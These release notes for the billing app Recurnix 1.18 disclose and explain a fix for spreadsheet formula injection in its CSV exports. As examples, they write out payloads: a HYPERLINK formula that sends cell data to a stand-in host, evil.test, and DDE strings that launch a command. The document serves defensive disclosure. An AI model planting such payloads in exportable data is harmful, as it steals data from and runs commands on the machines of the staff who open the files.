Recurnix docs

Docs › Releases › 1.18 › Release notes

Recurnix 1.18 release notes

Released 2026-07-31. Recurnix 2.11 is newer.

Your bookkeeper exports the client list and double-clicks it. That is the attack.

A CSV file cannot do anything. It is text with commas in it. The application that opens it is another matter: Excel, LibreOffice and Google Sheets all read a cell whose first character is =, +, -, @, a tab or a carriage return as a formula.

Recurnix lets a client set their own company name. The validation is nullable|string|max:120 — a length, and nothing else. So a customer can save

=HYPERLINK("https://evil.test/?d="&A1,"Invoice")

as their company name, wait, and let somebody on your staff open the export.

the real streamClients(), against the shipped code

49,"=HYPERLINK(""https://evil.test/?d=""&A1,""Invoice"")","@SUM(1+9)*cmd|'/c calc'!A0","-2+3+cmd|'/c calc'!A0",…,"+44 20 7946 0000",…

company     runs
first_name  runs
last_name   runs
phone       runs

Four columns, and all seven exports use the same writer.

The CSV was never wrong

This is the part worth sitting with. fputcsv() quoted every one of those payloads exactly as it should. The file is valid CSV by any standard you care to name. Nothing in the writer was broken, and no amount of additional escaping would have helped — the file is correct and the reader runs it.

That is why the fix cannot live in the quoting. It has to be a decision about what a cell is allowed to start with.

The half that was easy to get wrong

The published advice is to prefix the six triggering characters with an apostrophe. Applied literally to a billing system, that is a bug:

-19.99     a credit note
-2500.00   a refund

Both start with a character on the list. Prefix them and every negative in the exported book becomes text, every SUM in the sheet breaks, and the accountant who asked for the export has a worse problem than the one you fixed.

So the rule has a second half: a cell that is a plain number is never touched, whatever it starts with. A payload cannot be a plain number — that is the entire discriminator, and it is asserted directly rather than assumed.

the real put(), the exact bytes

"a normal invoice row","Acme Hosting Ltd",-19.99,-2500.00,1500.00,"'+44 20 7946 0000"
"a weaponised client","'=HYPERLINK(""https://evil.test/?d=""&A1,""x"")",-19.99,-2500,1500,"'+1 555 0100"
"numbers as php types","Acme",-19.99,-2500,1500,42

The amounts are byte-identical, as strings and as PHP floats and ints. The payload is inert. The phone numbers are guarded too, correctly: an international number starting + is text, not arithmetic.

Who is attacking whom

Every finding in this run so far has needed a staff account — one staff member reaching something another staff member owns. This one does not. The payload is written by a customer, from their own profile page, with no privileges at all. It executes on staff, on their own machine, outside the application entirely.

The export route is still permission-gated and always was. The data going into it never was, and a permission gate on the door does not help when the thing coming through it is the payload.

What this does not cover

Said plainly rather than left to be assumed. The portal's "download my data" export is JSON — application/json, .json — not a spreadsheet format, and it is untouched by this. There is exactly one fputcsv in the codebase, which is why one guard was enough, and a test now fails the moment a second one appears.

And the cost is real: the guard writes an actual apostrophe into the file, and some tools will show it. That is accepted. The alternative is stripping characters out of a customer's real name, which silently corrupts the record the export exists to reproduce. What was verified here is the bytes in the file — not any particular spreadsheet's rendering of them, which is not something this project can honestly claim to have tested.

How this was checked

                              before               after
company name payload          RUNS                 inert
first name payload            RUNS                 inert
last name payload             RUNS                 inert
phone, +44 20 7946 0000       RUNS                 inert
-19.99  (credit note)         -19.99               -19.99
-2500.00 (refund)             -2500.00             -2500.00
1500.00 (amount)              1500.00              1500.00

The amounts are in that table on purpose, and they are checked through the real writer rather than through the rule on its own, because the rule being right and the writer using it correctly are two different claims.

186 committed tests, 602 assertions. Half of the new ones are about the values that must not change.

Also in this release

The v1.17 permission sweep was too blunt: it stripped the git exec bit from artisan and flattened storage/ from 775 to 755, and had to be repaired. The recipe now excludes storage/, bootstrap/cache/ and anything git tracks as mode 100755 before it runs, and asserts that git diff --summary reports no mode changes at all before anything is committed.


Last modified: 16 November 2026 · This page documents Recurnix, self-hosted billing and automation. Ask a question.